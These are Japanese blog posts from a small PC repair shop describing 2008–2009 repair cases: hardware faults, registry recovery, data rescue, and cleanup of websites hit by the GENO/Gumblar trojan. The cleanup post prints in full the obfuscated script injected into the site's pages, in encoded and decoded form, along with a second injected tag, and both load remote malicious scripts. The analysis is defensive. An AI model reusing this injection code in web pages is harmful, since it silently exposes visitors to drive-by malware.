chkdsk /f

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2008年07月25日

vistaパソコンがとても遅い

富士通のノートパソコンFMV BIBLO NF50U、Windows vista home premiumをお使いの方。迷惑メールがたくさんくるようになってから、動きが悪くなったそうです。

ウイルスに感染したかもしれないので見てほしいとのお話しです。

お伺いして、パソコンを起動すること5分。ディスクトップの表示後、常駐ソフトがタスクバーに表示され終わりましたが、ハードディスクのアクセスランプは、忙しく点滅して、一向に収まりません。

タスクマネージャのプロセスタブにて、プロセスを見てみると、80個ほど動いてます。ちょっと多目です。怪しそうな常駐プロセスは見あたりませんでした。パフォーマンスタブを見てみると、ページファイルへのスワッピングが起きているようです。物理メモリの合計1,013MBに対して、ページファイルが1,263MBになっています。250MBほど物理メモリの合計を超えています。

セキュリティ対策ソフトは、Norton Internet Security 2007のYahoo BB版でした。パソコン付属のおまけソフトもたくさんインストールされていて、いらない常駐ものも多数見られました。

Norton Internet Securityの自動更新機能も働いていましたし、Windows updateも機能しています。インターネットの接続形態はYahoo BBトリオフォン経由で、ルータ機能もオンしています。セキュリティ対策は、問題ありません。ウイルスのたぐいも感染してなさそうです。

遅い原因は、メモリー不足で頻繁にスワッピングが発生しているからでしょう。

まずは、常駐するタイプの不要なアプリケーションをアンインストールしました。アンインストールできないものに関しては、msconfigから、自動起動を停止。

ノートパソコンの非力なグラフィック機能は、vistaのAeroは、荷が重いので停止し、Windowの効果設定もパフォーマンス優先として、全て停止しました。

スタートメニューもクラシック表示に変更。

この状態で、起動時間は3分程度に短縮されましたが、Office製品などの起動は、イライラするほど遅く、不快です。

メモリーの消費状況は、200MB程度少なくなりましたが、ページファイルがまだ、物理メモリの合計を上回っています。

Norton Internet Security 2007のサービスを無効にして、再起動すると、サクサク動きます。

Norton Internet Securityは、ヘビー級なので、Celeron410プロセッサーには、荷が重いと思います。

メモリーの増設と、Norton Internet Security最新版への更新を次回お伺い時にすることとしました。

FMV BIBLO NF50Uは、標準でメモリー1GBを搭載しています。その内訳は、2スロットに512MBが2枚です。増設するには、スロットに空きがありませんので、既存のメモリーを取り外すことになります。

vistaは、メモリー1Gが最低条件ですので、512MB 2枚構成は、いただけません。

後日、1GBメモリー2枚に交換し、Norton Internet Security 2008にバージョンアップしました。以前のような、起動後のスワッピングがなくなり、Officeの起動も早くなりました。

迷惑メール対策は、Yahoo BBのサービスを使う設定にしたのと、Norton Internet SecurityのAdd-on Packをインストールしました。(Norton Internet Securityは、標準では迷惑メール対策機能がありません)

作業料 4,000円 トラブル対応2時間
部品 8,000円 DDR2-667MHz(PC2-5300) 200pin 1GB ノート用 × 2枚
作業料 4,000円 メモリー増設、セキュリティ対策ソフトバージョンアップ。1時間
合計 16,000円  

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2008年10月15日

キーボードの暴走

「文字が勝手に入力される」、「ポンポン太鼓を叩く音がする」、「Excel使用中勝手に違うセルに移動する」、「Yahooの検索欄に文字を入力しようとすると、¥マークがどんどん入力される」、「パソコン起動直後にピーピーする」などお客さんによって現象はまちまちですが、不良箇所は全て、キーボードでした。NECのノートパソコンで3件立て続けに発生しました。機種はまちまちですが、全て同じ型番(AEMK2KEJ)のキーボードが使われていました。

検索サイトで、この型番を入力すると、同現象の言葉がちらほら見られますので、経年変化による欠陥品だと思われます。メーカに修理へ出すと、部品代と交換工賃合わせて2万円くらいしてしまいます。リコール扱いは、多分してくれないでしょうね。

この不具合は、ある不特定のキーが電気的に押され続けてしまうからなのですが、上記現象と直接結びつかないものもあります。

「ポンポン太鼓をたたく音がする」というのは、「一般の警告音」だったのですが、「Windows XP Ding.wav」というサウンドファイルの音です。Windows起動直後の状態で、スペースキーを押すと鳴ることがあります。無効なキー入力があったりすると鳴るものです。

「パソコン起動直後にピーピーする」というのも、NECのロゴが表示されるタイミングで、適当なキーを押すと、ブザーが鳴ります。

スペースキーが電気的に押されっぱなしになるなる不良キーボードを、テスターチャックしてみました。スペースキーが押されると導通/非導通される組み合わせの端子の非導通抵抗が、数KΩありました。通常導通時数Ω~数百Ω、非導通時∞Ω(絶縁)でしたので、キーを押してなくても、電気的には押していると判断されるようです。

正常なスペースキー
放したときは∞Ω
正常なスペースキー
押したときは数Ω~数百Ω
端子をテスターで当たってる様子

 

キーボード・スキャン回路のスレッショルド・レベル(threshold、閾値)が低いため、誤作動してしまうのかもしれません。
このタイプのキーボードは、メンブレンキーボードにラバードームを乗せ、パンタグラフ式のキートップを使っています。安価に製造できますが、耐久性は低いといわれています。また、強く押し続けると、今回のような導通トラブルになることがあります。

オークションにて同型番の新品キーボードを入手して、交換しました。

内容費用
キーボード(AEMK2KEJ)新品
6,000.-
工賃
4,000.-
合計
10,000.-

 

キーボード型番:AEMK2KEJを使用している機種は、以下のような型番のNEC LaVieシリーズです。

PC-LL5504D(LL550/4D)、PC-LL5304D(LL530/4D)、PC-LL5004D(LL500/4D)、PC-LL5104D(LL510/4D)、PC-LL5704D(LL570/4D)、PC-LL5505D(LL550/5D)、PC-LL5705D(LL570/5D)、PC-LL5105D(LL510/5D)、PC-LL5305D(LL530/5D)、PC-LL5005D(LL500/5D)、PC-LL5705D(LL570/5D)、PC-LL5305D(LL530/5D)、PC-LL7005D(LL700/5D)、PC-LL7104D(LL710/4D)、PC-LL7004D(LL700/4D)、PC-LL7105D(LL710/5D)、PC-LL7305D(LL730/5D)、PC-LL7705D(LL770/5D)、PC-LL7005(LL700/5)、PC-LL5006D(LL500/6D)、PC-LL5506D(LL550/6D)、PC-LL5306D(LL530/6D)、PC-LL7006D(LL700/6D)、PC-LL7506D(LL750/6D)、PC-LL7305D(LL730/5D)、PC-LL7505D(LL750/5D)

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2008年10月21日

CPUが錆びてます

シャープ Mebius PC-RD1-D3Mの修理で、中を分解したときの話です。

冷却ファン周辺に綿ぼこりが多量についていたので、清掃のため、冷却ファンを取り外しました。この冷却ファンは、CPUのヒートシンクと一体構造になっているため、ヒートシンクを外さないと、取り出せません。

  冷却ファン周辺の綿ぼこり ヒートシンクにたまったホコリ  

CPUのヒートシンクを取り外したら、「何じゃこりゃ」です。CPUの金属パッケージ表面がサビサビです。通常CPUのパッケージ表面には、シリコングリスなどを塗って、胴のヒートシンクに熱が伝わりやすくしていますが、これは、そのようなものが塗られている形跡が全くありませんでした。

多分、組み立て時に塗る(または、貼る)のを忘れたのではないでしょうか。

製造から約5年経過しているモデルですから、長期間の使用で結露などにより錆びてしまったのではないでしょうか。ヒートシンク側は、胴でしたので、それほど錆は進行していませんでした。

CPUは、ソケットから取り外して、サンドペーパーにて錆を落とし、シリコングリスを塗っておきました。

修理したMebiusは、フリーズやファンの異音もなくなり、調子が良くなりました。

  CPUがさび付いたPentium4   CPUを外したところ

 

IT工房にんにく庵関連ページ

 

トラブル対応事例、修理料金、金額、工賃など

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2008年12月15日

ノートパソコンのDCジャックは接触不良になりやすい

ノートタイプのPCで、ACアダプタからの給電が具合が悪いという事例紹介です。DCプラグ部分がぐらついていて、動かすと、バッテリー給電になってしまったり、完全にAC給電が駄目になるケースなど色々です。

ACアダプタを差したまま、動かして無理なストレスを与えると、DCジャックと基盤の接続部分が徐々に剥離したり、つけ根部分が折れたりします。

また、DCジャックのプラスチック部分が割れてしまうこともあります。

メーカに修理依頼すると、マザーボード交換になることがほとんどです。これですと修理費用が4万円から5万円ほどかかってしまいます。安いパソコンが買えてしまう金額ですので、買い換えてしまう人も多いのではないでしょうか。

にんにく庵で修理する場合は、マザーボードを取り外して、半田付けをしたり、割れたプラスチック部分をエポキシ接着剤で補強するなどします。

全く同じかたちのDCジャックが手に入ればいいのですが、電子部品店に売っている中に同じものはまずありませんので、部品交換というのは厳しい状況です。


半田部分が溶けて蒸発してしまっています。   半田付けし直して治りました。
半田部分が溶けて蒸発してしまっています。   半田付けし直して治りました。
ストレスがかかり割れてしまっています。   エポキシ接着剤で補修し、断線した配線を半田付けで結線しました。
ストレスがかかり割れてしまっています。   エポキシ接着剤で補修し、断線した配線を半田付けで結線しました。

 

IT工房にんにく庵の修理代金は、持ち込みの場合、6千円から8千円です。お伺いしての修理はしていませんので、一度お持ち帰りとさせていただきます。その場合、お伺いと、ご返却時にそれぞれ費用がかかってしまいますので、持ち込みの修理がお得です。

非純正のACアダプタ左の写真のような、非純正タイプのACアダプタは、プラグ分のサイズがジャックの外形に合致していないため、破損しやすいのでお勧めしません。また、DCプラグが長いとストレスがかかりやすので、純正品のほうがいいと思います。


 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2009年03月14日

同一機種が同じ時期にHDD故障

一日違いで、VAIO TypeF VGN-FS22BとVGN-FS30Bの故障対応をしました。

症状はどちらも、「起動に時間がかかる」、「起動後も動きが遅い」などでした。

結論からいうと、ハードディスクの物理的な障害でした。ハードディスクの読み込みエラーが多発していました。

どちらのVAIOも東芝製MK8025GAS(2.5インチIDE、80GB)でした。

同時に修理に来たVAIO TypeF VGN-FS22BとVGN-FS30B  
同時に修理に来たVAIO TypeF VGN-FS22BとVGN-FS30B   東芝製MK8025GAS(2.5インチIDE、80GB)

 

遅くなる原因は、ハードディスクのリードエラーのためにリトライをくり返し、パフォーマンスが落ちるからと思われがちですが、実際は違います。

Windows2000やXPは、ハードディスクのリードエラーが既定回数以上起こると、ディスクとメモリーとの転送速度を徐々に遅くしていきます。たとえば、ウルトラDMAモード5だったものが、モード4→モード3と下がっていき、最終的には、DMAをやめてしまい、PIOモードになってしまいます。PIOモードになってしまうと、転送速度もさることながら、CPUが介在するようになるため、実効速度はさらに遅くなってしまいます。体感的には、古いCD-ROMドライブからデータを読み込んでるようなスピードです。詳細は、「文書番号: 817472 複数回のタイムアウトまたは CRC エラーの発生後 IDE ATA および ATAPI ディスクで PIO モードが使用される」などをご覧ください。

 
ハードディスクがPIOモードになっている   正常時は、ウルトラDMAモード5

 

イベントログを見てみると、毎日のようにdiskエラーが出ていたのが分かります。

ハードディスクのDiagnosticsテストを流すと、「Uncorrectable CRC or ECC error」が多発しています。

 
イベントログのエラー   Uncorrectable CRC or ECC error多発

 

両方のパソコンともリカバリーCDは、作成していなかったそうですので、まずは、瀕死状態のHDDからリカバリーCDの作成です。VGN-FS22Bのほうは、作成できましたが、VGN-FS30Bは、エラーになってしまいました。HDDバックアップソフトでリカバリー領域を抜き出そうとしましたが、こちらもセクターリードエラーとなってしまいました。

リカバリーディスクなしということで、OEM版のWindowsXPからのインストールとなってしまいました。このような場合、プロダクトキーは、パソコン本体に貼られたプロダクトシールのものを使用すれば、ライセンス的には問題ないと思います。

ドライバーは、VAIOのサイトから最新のものを入手して何とかなりますが、付属ソフトなどは、提供されていないものが多いので、あきらめてもらうことになります。(個人的には、そのほうがスッキリしてていいと思いますが・・・)

 

内容 費用
2.5インチ 160GB HDD
7,000.-
工賃(データ救済、OS再インストール、アップデート、アプリインストール等)
15,000.-
合計
22,000.-

 

 

 

2009年10月13日

モバイルノートPCG-TR5Eのハードディスクは1.8インチタイプでした

ウルトラモバイルというジャンルの小型ノートパソコンが、最近人気のようです。今回修理したSONY VAIO Type-TR PCG-TR5EBは2004年5月に販売されたモデルです。

調子が悪いので、リカバリーをしたら、途中でエラーになってしまい、Windowsが立ち上がらなくなってしまったとのこと。ハードディスクが壊れかけてるんじゃないかとお伝えすると、SONYのサポートにも同じことを言われたそうです。修理代が5万円近くかかるとのことで、もっと安く修理をしてくれるところを探していたら、たまたまIT工房にんにく庵を見つけてくれたそうです。しかも家の近くとのことで、持ち込み対応でのご依頼でした。

リカバリーは、ご自分でなさるとのことで、ハードディスクの交換と、リカバリーしていない領域にあるデータの救出をしてほしいとのこと。

ハードディスク40GB 8,000円+交換工賃2,000円+データ救済4,000円=14,000円でお見積もりしました。

PCG-TR5EBのハードディスクは、1.8インチとの情報は、お客様が教えてくれて分かっていたのですが、2.5インチや3.5インチのものと違い、コネクタの形状が何種類かあることが判明。しかもメーカによって外形寸法も違うとのこと。勉強不足でした。

コネクタ形状は、2.5インチと互換性のある「IDE」、他に「LIF」や「ZIF」など。LIFやZIFは、形状的にはほぼ同一で、メーカによって呼び方が異なっていたりするようです。形状がほぼ同一ということで、完全互換ではないので、合うあわないがあるようです。

この辺の話は、ZIFやLIFのコネクターの意味と1.8インチハードディスクドライブで使われているZIFやLIFのコネクターやケーブルまで含めた意味とで、あいまいな部分が残るようです。詳しくは、Ainexの「[HDE-03] 対応HDDについて」が参考になると思います。

PCG-TR5EBのハードディスクは、日立製(HGST)のTravelstar C4K40 HTC424040F9AT00 1.8" 40GB コネクタ形状:IDE 幅70mm 奥60mm 高(厚)9.5mmのものでした。

調べてみると、売ってるところがほとんどありませんでした。どうやら、HGST製1.8インチのコネクタ形状IDEのものは、製造終了で、販売店の在庫のみのようです。

東芝製のものは、外形寸法が合わず使えないようです。(無理やり取り付けた事例はありましたが。)

同一型番の新品を12,000円程で入手し、交換しました。

データの救済は、約16GBのデータを外付けHDDに取り出しして、DVD-R 4枚に書き込みました。一部CRCエラーで読み取れなかったものがあったのが残念です。

壊れたハードディスクのリカバリーデータエリアは、リードエラーが頻発して、救出断念です。

お客様は、リカバリーCDを作成していなかったとのことで、SONYから5千円ほどでリカバリーCDを購入するとのことでした。パソコン本体裏面にWindowsのプロダクトキーシールが貼ってありますので、OEM版のCDで、Windowsのインストールまではできますが、製品固有のドライバーが、別途必要になります。

SONY VAIOのダウンロードサイトは、更新版のドライバーしか置いていないため、オリジナルのドライバーは、C:ドライブにあるdriversフォルダーのものをバックアップしておくことになります。

今回のように、C:ドライブのリカバリーを失敗してしまうと、driversフォルダーも無くなってしまうためお手上げです。メーカーサポート外でよければ、LSIの製造元からドライバー類を入手するという手段もあります。

1.8インチハードディスクを取り外したところ 新しいハードディスクを取り付けたところ 1.8インチハードディスクTravelstar C4K40 HTC424040F9AT00
取り外したところ 新しいHDDを取り付けたところ 1.8インチHDD

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2009年10月20日

起動時、次のファイルが存在しないかまたは壊れているため、Windows を起動できませんでした

今回のケースは、C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMが壊れていただけの事例です。

次のファイルが存在しないかまたは壊れているため、Windows を起動できませんでした
次のファイルが存在しないかまたは壊れているため、Windows を起動できませんでした:
オリジナルセットアップ CD-ROM から Windows セットアップを起動して、このファイルを修復できます。
修復するには、最初の画面で'R'キーを押してください。

 

機種は、富士通製FMV DESKPOWER CE50G7デスクトップパソコンWindows XPでした。データの救済とリカバリーの依頼です。メーカのサポート担当からリカバリーを宣言されたたため、その前にデータを救済したいとのことでした。

ハードディスクのサーフェステストはエラーが無く、chkdskも全くエラーがありませんでした。どうやら単純にSYSTEMが壊れているようです。このSYSTEMというファイルは、レジストリーと呼ばれているWindowsの設定がぎっしり詰まったデータベースです。作りが悪いのか、よく破損してWindowsの起動ができないことがあります。レジストリが破損するとセーフモードでも立ち上がらないケースが多く、一般の方には、どうすることもできなくなります。

レジストリの修復は、リカバリポイントに保存されているちょっと古いレジストリファイル郡をC:\WINDOWS\SYSTEM32\CONFIG内に上書き保存することで、修復できるケースがあります。

リカバリポイントは、C:\System Volume Information\_restore{GUID}\
RPxx\snapshotの中にあります。RPxxのxxは、リカバリポイントごとに作られますので、ファイル日付をみて新しめのを選びます。
 ※GUIDの部分は、英数字の混ざった長ったらしい名前になります。

System Volume InformationフォルダがNTFSフォーマットの場合、特殊なアクセス権が設定されていますので、読み取りするのも困難です。簡単にコピーするには、KNOPPIXなどのLive CDタイプのLinuxなどを使用するとよいでしょう。

リカバリポイントにあるレジストリのスナップショットは、頭に_REGISTRY_MACHINE_という名前が付いていますので、リネームして、あげます。

以下のファイルをリネームして、SYSTEM32\CONFIG\内に上書きします。

_REGISTRY_MACHINE_SAM SAM
_REGISTRY_MACHINE_SECURITY SECURITY
_REGISTRY_MACHINE_SOFTWARE SOFTWARE
_REGISTRY_MACHINE_SYSTEM SYSTEM
_REGISTRY_USER_.DEFAULT DEFAULT

DEFAULTのみ「.」が付いているので、気をつけてください。エラーのあったファイルSYSTEMのみ上書きすればいい場合もありますが、他のファイルとの不整合が起きるといけませんので、5つ全てを上書きしたほうがいいようです。なお、念のためsystem32\config内のファイルは、バックアップしてから上書きしたほうがいいでしょう。

安易な方法として、C:\WINDOWS\REPAIR内にあるレジストリのバックアップを使う方法がありますが、中身が古すぎて使い物にならない場合が多く、Windows自体立ち上がらないことも多いので、お勧めしません。

C:\System Volume Information\_restore{xxxxx}\
RPxx\snapshot C:\WINDOWS\SYSTEM32\CONFIG
C:\System Volume Information\_restore{xxxxx}\
RPxx\snapshot
C:\WINDOWS\SYSTEM32\CONFIG

 

内容 費用
作業(トラブル対応)2時間 4,000円

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2009年11月04日

液晶パネルのバックライト切れ

ノートパソコンの液晶画面(LCD。液晶ディスプレイ)は、通常蛍光灯(CCFL。冷陰極管)を裏から当てて光らせています。蛍光灯ですので、寿命があります。また、蛍光灯を点灯するためにインバータという高周波・高電圧を作り出す回路も必要です。

液晶パネルのバックライトが切れると、うっすらと画面が表示されますので、すぐにわかります。

メーカーへ修理に出すと、部品代だけでも2万円以上しますので、合計4万円以上の出費となってしまいます。

IT工房にんにく庵では、新品や中古のLCD、インバータを使って修理していましたが、修理代が高くついて修理をあきらめる方もいらっしゃいました。蛍光管が不良の場合は、液晶パネルを丸ごと交換していましたが、CCFLのみの交換もすることにしました。

CCFL 1本2,000円くらいですので、工賃込みで丁度10,000円で済みます。CCFLは、LCDを分解して、サイズを測ってから注文しますので、修理完了まで1週間程度お預かりとなります。

修理件数が多くなれば、常時在庫を持つようにしようと思います。そうすれば、その場で修理してお渡しすることも可能になります。

バックライトを分解。これは、CCFLが2本のタイプ 過熱が原因?。焼けてしまってます。 蛍光管の端が過熱により液晶パネルにダメージを与えています。
バックライトを分解。これは、CCFLが2本のタイプ 過熱が原因?。焼けてしまってます。 蛍光管の端が過熱により液晶パネルにダメージを与えています。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

2009年11月10日

物理的に壊れたハードディスクからのデータ救済

電話でのデータ救済に関するお問い合わせは、全国からいただいています。ありがたいことです。「これこれこういう症状なのですが、いくらぐらいかかりますか?」など。

物理的にハードディスクが壊れていなければ、最大8,000円ですので、そのようにお答えしているのですが、物理的な破損と論理的な破損の判断が一般の方ではできず、「見てみないことには、データを救済できるかわかりません」となってしまいます。

物理的な破損の場合、診断料をいただきませんので、持ち込みの場合は、出費がありません。郵送の場合、往復の送料がかかることになります。

”ハードディスクをBIOSが認識しない” とか、”ハードディスクから異音がする”などの場合、物理的破損の可能性大です。

ハードディスクが物理的に破損していても、データを救済してくれる会社がありますので、数十万円の出費でもかまわない方は、”データ復旧”などのキーワードでお探し下さい。
なお、IT工房にんにく庵では、(株)データサルベージコーポレーションと業務委託していますので、直接ご依頼いただくより割安な価格で復旧できます。

 

ハードディスクの異音例(MP3 438KByte)

ハードディスクの異音例(MP3 438KByte)

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

データ救済サービス

2009年11月19日

GENOウィルスに感染したサイトの回復

FTP情報をトロイの木馬型マルウェアに奪われ、サイトを改ざんされた事例が、後を絶ちません。

Adobe ReaderやAdobe Flash Playerの貧弱性をついたJava Scriptを読み込むように、されてしまいます(※)。ウェルス対策ソフトは、検知できるのですが、次々と亜種が出てきて、いたちごっこのようです。

(※)実際は、PDFファイルやFlashファイル内に悪意のあるプログラムを埋め込んだものをJava Scriptで読み込むように作られています。

先日も、GENOウィルス(正式名称Torojan.Win32/Daonol.H)にFTPパスワードを盗まれ、ホームページを改竄されてしまったサイトの復旧作業を依頼されて、対応しました。

手順としては、

1.感染したクライアントPCをネットワークから遮断する。

2.ホームページを運用しているFTPパスワードを、変更する。

3.できれば、一時的にホームページを閉鎖する。

4.感染したhtmlファイルやJava Scriptファイルを、クライアント側で保存してあるファイルで上書きアップロードする。

5.サイトを再開する。

6.GoogleやYahooなどで、ブラックリストにされている場合は、サイトの再審査手続きをする。

7.ホームページ更新用のクライアントPCは、ウィルス駆除もしくは、データバックアップ後、OSのリカバリーをする。

8.OS、アプリケーションは、常に最新の状態にしておく。

9.ホームページのサーバで、セキュアFTPが使えるようなら、SFTPや、FTP over SSLなどを使用する。

といった流れとなります。

今年5月のケースでは、手順7をデータのバックアップをせず、OSの再インストールを真っ先にしてしまい、クライアントサイドに、ホームページのバックアップが無く、サーバ上の改竄されたデータしかないとのこと。自分たちでは手がおえなく、依頼がきました。

この場合、手順4は、サーバから、データをダウンロードして、改ざんされたファイルを調べて、改ざん部分のみ削除。その後、ファイルをアップロードし直す。という手順になります。

改ざんされたファイルは、ファイルの更新日付を見ると、ほぼ推測がつきますので、あとは、どこが変更されたかを目で追って、その部分を削除していきます。

改ざんパターンは、一定ですので、秀丸エディタのgrep置換機能などを使えば、数百あるファイルでも、あっという間に更新できてしまいます。

改ざんパターンは、拡張子html、shtml、jsのファイル全てに、スクリプトが埋め込まれていました。

htmlのソースコードは、<body>タグの直前に、以下のような文字列が並んでいました。

<script language=javascript><!--
(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);
--></script>

Java Scriptのファイルも<script>タグのないものが行末に追加されていました。

<!--
(function(ezEqY){var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';eval(unescape(cTxf.replace(ezEqY,'%')))})(/\~/g);
-->

この部分をざっくり削除してしまえば、いいわけです。

置換文字列は、^\(function\(ezEqY\)\{var.*\/g\);\n としました。行頭(function(ezEqY){var までが ^\(function\(ezEqY\)\{var です。中間部は、 .* として全てにマッチ。行末部 /g); は、 \/g\);\n で改行部分まで、置換対象としてあります。置換文字列中 \マークは、(、)、/、{などのメタキャラクタをエスケープするためのものです。

秀丸エディタの「grepして置換」ダイアログのスクリーンショットです。

 


 

埋め込まれたスクリプトは難読化してありますので、解析してみます。まず、可読性を高めるために改行します。

(function(ezEqY){
var cTxf='var~20~61~3d~22~53c~72~69pt~45ngine~22~2c~62~3d~22V~65r~73io~6e()+~22~2cj~3d~22~22~2cu~3dna~76~69gator~2euser~41ge~6et~3bif((u~2e~69n~64exOf(~22C~68r~6f~6de~22)~3c~30)~26~26~28u~2ein~64exOf(~22Wi~6e~22)~3e0)~26~26(~75~2ein~64exOf~28~22NT~206~22)~3c0)~26~26(documen~74~2e~63~6fo~6b~69e~2e~69~6edexOf(~22mie~6b~3d1~22)~3c0~29~26~26~28type~6ff(~7a~72~76zts)~21~3dtypeof(~22A~22)~29)~7bzrvz~74s~3d~22~41~22~3bev~61~6c(~22~69f(w~69ndow~2e~22~2ba+~22~29j~3dj+~22+a+~22Majo~72~22~2bb+a+~22M~69~6eor~22~2bb+a+~22Build~22~2bb+~22j~3b~22)~3bdocu~6dent~2e~77~72it~65(~22~3cs~63r~69~70t~20s~72~63~3d~2f~2f~6dart~22+~22~75~7a~2ecn~2fvid~2f~3f~69d~3d~22~2bj~2b~22~3e~3c~5c~2fscript~3e~22)~3b~7d';
eval(unescape(cTxf.replace(ezEqY,'%')))
})
(/\~/g);

変数 cTxf 内の ~ を % に置換します。

var%20%61%3d%22%53c%72%69pt%45ngine%22%2c%62%3d%22V%65r%73io%6e()+%22%2cj%3d%22%22%2cu%3dna%76%69gator%2euser%41ge%6et%3bif((u%2e%69n%64exOf(%22C%68r%6f%6de%22)%3c%30)%26%26%28u%2ein%64exOf(%22Wi%6e%22)%3e0)%26%26(%75%2ein%64exOf%28%22NT%206%22)%3c0)%26%26(documen%74%2e%63%6fo%6b%69e%2e%69%6edexOf(%22mie%6b%3d1%22)%3c0%29%26%26%28type%6ff(%7a%72%76zts)%21%3dtypeof(%22A%22)%29)%7bzrvz%74s%3d%22%41%22%3bev%61%6c(%22%69f(w%69ndow%2e%22%2ba+%22%29j%3dj+%22+a+%22Majo%72%22%2bb+a+%22M%69%6eor%22%2bb+a+%22Build%22%2bb+%22j%3b%22)%3bdocu%6dent%2e%77%72it%65(%22%3cs%63r%69%70t%20s%72%63%3d%2f%2f%6dart%22+%22%75%7a%2ecn%2fvid%2f%3f%69d%3d%22%2bj%2b%22%3e%3c%5c%2fscript%3e%22)%3b%7d

unescapeします。デコードスクリプト

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");}

改行を入れると。

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");
}

「http://martuz.cn/vid/?id=Webブラウザの種類」というようなスクリプトを読み込んで実行します。ブラウザのセキュリティーホールを利用した悪意のあるスクリプトを埋め込むことができます。
googleで「martuz.cn」をキーワード検索してみると、どうやらAdobe Readerのセキュリティホールを利用したマルウェアのようです。

10月に対応したホームページは、難読化されておらず、Java Scriptが<body>タグの直前に埋め込まれていました。

<script src=http://omri.or.kr/data/test.php >

いたずらっぽいですが、test.phpの中身までは、検証しませんでした。

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2009年12月10日

黒い画面の中央にマウスでWindowsが起動しません

GENOウィルスに感染したサイトの回復のクライアント側の対応事例です。GENOウィルス(正確には、トロイの木馬)は、gumblarの俗名ですが、ほかにDaonolなども同種です。これらに感染すると、Windows起動ロゴが表示された後、黒い画面にマウスポイントだけの状態で、先に進まなくなるケースが多いようです。青い背景まで行く場合もあったりします。

対応方法は、確立されていて、レジストリ・キー\\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32配下のエントリーmidi9をエントリーごと削除すれば、Windowsが起動するようになります。駆除は、Windows起動後、midi9の値にある該当ファイルを削除することになります。

先日対応したお客さんの場合、midi9エントリー以外にaux2エントリーにも、トロイの木馬が記述されており、両方削除しないと、Windowsが起動しませんでした。片方だけの削除ですと、トロイの木馬が復活してしまいました。

作業前にバックアップしたキーは、以下のような情報です。

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\hoge\Microsoft\Windows NT\CurrentVersion\Drivers32]

"midimapper"="midimap.dll"
"msacm.imaadpcm"="imaadp32.acm"
"msacm.msadpcm"="msadp32.acm"
"msacm.msg711"="msg711.acm"
"msacm.msgsm610"="msgsm32.acm"
"msacm.trspch"="tssoft32.acm"
"vidc.cvid"="iccvid.dll"
"vidc.I420"="msh263.drv"
"vidc.iv31"="ir32_32.dll"
"vidc.iv32"="ir32_32.dll"
"vidc.iv41"="ir41_32.ax"
